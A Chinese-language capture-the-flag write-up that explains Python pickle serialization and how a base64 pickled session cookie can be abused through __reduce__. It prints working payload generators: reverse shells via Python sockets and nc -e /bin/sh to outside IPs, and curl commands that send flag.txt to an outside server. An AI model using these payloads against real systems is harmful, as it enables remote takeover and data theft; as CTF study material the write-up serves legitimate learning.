文章目录
一进来看看Cookie处,果然又是一个session
gAN9cQAoWAUAAABtb25leXEBTfQBWAcAAABoaXN0b3J5cQJdcQNYEAAAAGFudGlfdGFtcGVyX2htYWNxBFggAAAAYWExYmE0ZGU1NTA0OGNmMjBlMGE3YTYzYjdmOGViNjJxBXUu
尝试base64解码:发现一些可疑的字符,这里我就卡住了不知道是什么加密的
看师傅们操作发现这是将pickle序列化的字符串进行base64编码,Pickle反序列化,又是一个新知识点
Pickle反序列化
pickle
是一种栈语言,有不同的编写方式,基于一个轻量的 PVM(Pickle Virtual Machine)。
PVM 由三部分组成:
指令处理器
从流中读取 opcode 和参数,并对其进行解释处理。重复这个动作,直到遇到 . 这个结束符后停止。
最终留在栈顶的值将被作为反序列化对象返回。
stack
由 Python 的 list 实现,被用来临时存储数据、参数以及对象。
memo
由 Python 的 dict 实现,为 PVM 的整个生命周期提供存储。
pickle.dumps(obj):
把 obj 对象序列化后以 bytes 对象返回,不写入文件
pickle.loads(bytes_object):
从 bytes 对象中读取一个反序列化对象,并返回其重组后的对象
简单字符类型的反序列化
import pickle
data="DMIND"
p1=pickle.dumps(data)# dumps 序列化
print(p1)
p2=pickle.loads(p1) # loads 反序列化
print(p2)
输出:
b'\x80\x03X\x05\x00\x00\x00DMINDq\x00.'
DMIND
观察b'\x80\x03X\x05\x00\x00\x00DMINDq\x00.'
1.\x80
:表示一个操作码,同时声明pickle的版本
2.\x03
:代表版本为3
3.X
:从个X
后的四个字节表示一个数字,\x05\x00\x00\x00
表示5
,指的是后面UTF8编码的字符串的长度
4.DMIND
即UTF8编码过的字符串
5.q
:
这个没有查到详细的说明,看注释上的字面意思是后面即
\x00
是一个字节的参数,但也不知道这个有什么用,我猜测它是用来给参数做索引用的,索引存储在momo区,如果不需要用到取数据,可以把q\x00
删掉,这并不影响反序列化
6.\x00
:表示结束
类的反序列化
import pickle
class DMIND:
DD='ok'
def hello(self):
return self.DD
obj=DMIND()
p1=pickle.dumps(obj) # 序列化
print(p1)
p2=pickle.loads(p1) # 反序列化
print(p2)
输出:
b'\x80\x03c__main__\nDMIND\nq\x00)\x81q\x01.'
<__main__.DMIND object at 0x000001C022659048>
观察b'\x80\x03c__main__\nDMIND\nq\x00)\x81q\x01.'
1.\x80
\x03
和前面说的一样
2.c
:表示导入模块中的标识符
3.__main__\nDMIND
:模块和标识符之间用\n
隔开,那么这里的意思就是导入了main模块中的D类
4.q\x00
:代表了DMIND类 在 memo的索引
5.)
:在栈上建立一个新的tuple,这个tuple存储的是新建对象时需要提供的参数,因为本例中不需要参数,所以这个tuple为空
6.\x81
:操作符,该操作符调用cls.__new__
方法来建立对象,该方法接受前面tuple中的参数,本例中为空
__reduce__
这个方法用来表明类的对象应当如何序列化
__reduce__()
方法不带任何参数,并且应返回字符串或最好返回一个元组(返回的对象通常称为“reduce 值”)
通过上面官方文档 的表述可知改魔术方法有两种返回值:1.字符串、 2.元组
如果返回类型是:元组,则应当包含 2 到 6 个元素,可选元素可以省略或设置为 None。
第一个元素是一个可调用对象
第二个元素作为第一个元素的参数使用。其是一个元组。如果可调用对象(即第一个元素)不接受参数,必须提供一个空元组。
其它元素皆为可选元素,详情看官方文档
注意
:__reduce__
魔术方法的返回值是tuple类型时就可以实现任意代码执行
import pickle
import os
class A(object):
def __reduce__(self):
cmd = "whoami" #命令
return (os.system,(cmd,))
a = A()
pickle_a = pickle.dumps(a)#序列化
print(pickle_a)
pickle.loads(pickle_a) #反序列化时触发了代码执行
只要执行反序列化操作就触发了代码执行
命令行下输入命令:
import pickle
import sys
import base64
import os
COMMAND = sys.argv[1] #接收命令行中的第一个参数
class PickleRce(object):
def __reduce__(self):
return (os.system,(COMMAND,))
print (base64.b64encode(pickle.dumps(PickleRce())))
放到命令行执行,得到经过base64编码过的序列化字符串
python下反弹shell
import pickle
import os
class A(object):
def __reduce__(self):
a = """python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("119.0.0.1",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'"""
return (os.system,(a,))
a = A()
pickle_a = pickle.dumps(a)
print(pickle_a)
pickle.loads(pickle_a)
回到本题,我们利用__reduce__
来执行命令
现在关键的是用什么命令了
一、curl+base64
这是自己最常用的,简单,哈哈
import pickle
import base64
class A(object):
def __reduce__(self):
return (eval,("__import__('os').system('curl http://119.xxx.xxx.xxx/`cat flag.txt|base64`')",))
a = A()
print(base64.b64encode(pickle.dumps(a)))
二、curl -d
-d参数可以读取本地文本文件的数据,向服务器发送。
这是将 flag.txt 通过POST请求发送
import pickle
import base64
class A(object):
def __reduce__(self):
return (eval,("__import__('os').system('curl -d @flag.txt 174.0.157.204:2333')",))
a = A()
print(base64.b64encode(pickle.dumps(a)))
三、nc 反弹shell
import base64
import pickle
class A(object):
def __reduce__(self):
return (eval, ("__import__('os').system('nc 119.29.60.71 9999 -e/bin/sh')",))
a = A()
print(base64.b64encode(pickle.dumps(a)))
本题看师傅还有另外一种不出网的解法:python反序列化覆盖秘钥,本菜鸡暂时不管另外一种了…